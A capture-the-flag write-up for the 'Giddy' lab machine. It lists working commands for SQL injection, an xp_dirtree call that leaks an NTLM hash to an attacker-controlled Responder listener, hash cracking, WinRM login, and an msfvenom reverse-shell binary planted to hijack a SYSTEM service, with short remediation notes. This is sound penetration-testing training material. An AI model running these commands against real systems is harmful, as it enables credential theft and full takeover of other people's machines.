Giddy
Summary
I discovered a .NET MVC shopping application on the IIS web server that built SQL queries by concatenating raw user input. Injecting an xp_dirtree call through that flaw caused the MSSQL service — running as the Windows domain user Stacy — to initiate an outbound SMB authentication to my own Responder listener, leaking a Net-NTLMv2 hash. The hash cracked offline, and the recovered credential authenticated a WinRM session that yielded the user flag.
Post-exploitation enumeration revealed the Ubiquiti UniFi Video service running as LocalSystem; on service stop it executes taskkill.exe from C:\ProgramData\unifi-video\ — a directory writable by any standard user. Placing a malicious payload there and stopping the service produced a SYSTEM reverse shell and full machine compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <stacy_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Targeted service-version scan of the four discovered open ports.
$ nmap -sC -sV -p 80,443,3389,5985 $TARGET -oN giddy_nmap.txtEnumerate web paths to find /mvc and its child pages.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x asp,aspx -o giddy_dirs.txtExact commands 2
Single-quote causes a SqlException; visible error confirms unsanitized input reaches the query.
$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1%27"Error-based version disclosure confirms MSSQL back-end.
$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;SELECT+@@version--"FixEliminate SQL injection by parameterizing all database queriesCritical
Exact commands 2
Start Responder on the HTB VPN interface before sending the injection.
$ sudo responder -I tun0 -wvInject xp_dirtree UNC path; replace $ATTACKER_IP with your tun0 address. MSSQL will authenticate to Responder.
$ curl -sk "http://$TARGET/mvc/Product.aspx?ProductSubCategoryId=1;EXEC+xp_dirtree+'\\\\$ATTACKER_IP\\share',1,1--"FixDisable xp_dirtree, run SQL Server under a managed service account, and block outbound SMBHigh
Exact commands 1
Mode 5600 targets Net-NTLMv2. Paste the full Responder hash line into stacy_hash.txt.
$ hashcat -m 5600 stacy_hash.txt /usr/share/wordlists/rockyou.txt --forceExact commands 2
Replace <stacy_password> with the value recovered by hashcat.
$ evil-winrm -i $TARGET -u Stacy -p '<stacy_password>'Retrieves the user flag -> <user.txt>
$ type C:\Users\Stacy\Desktop\user.txtExact commands 3
Confirm the UniFi Video service is present and note its name.
$ Get-Service | Where-Object {$_.DisplayName -like '*Ubiquiti*'}Verify that standard users have write access to the service's working directory.
$ icacls 'C:\ProgramData\unifi-video'Confirm taskkill.exe is absent, meaning the hijack slot is unoccupied.
$ ls 'C:\ProgramData\unifi-video\'FixUpdate or remove Ubiquiti UniFi Video and lock the service program-data directory to administrators onlyCritical
Exact commands 5
Build the payload; replace $ATTACKER_IP with your tun0 IP.
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f exe -o taskkill.exeUpload via the active evil-winrm session.
$ upload taskkill.exe 'C:\ProgramData\unifi-video\taskkill.exe'Start the listener on the attack host before stopping the service.
$ nc -lvnp 4444Stopping the service triggers execution of the malicious taskkill.exe as SYSTEM.
$ Stop-Service -Name 'Ubiquiti UniFi Video'Read the root flag from the SYSTEM shell -> <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtExposed services
| 80/tcp | http |
| 443/tcp | https |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | wsman |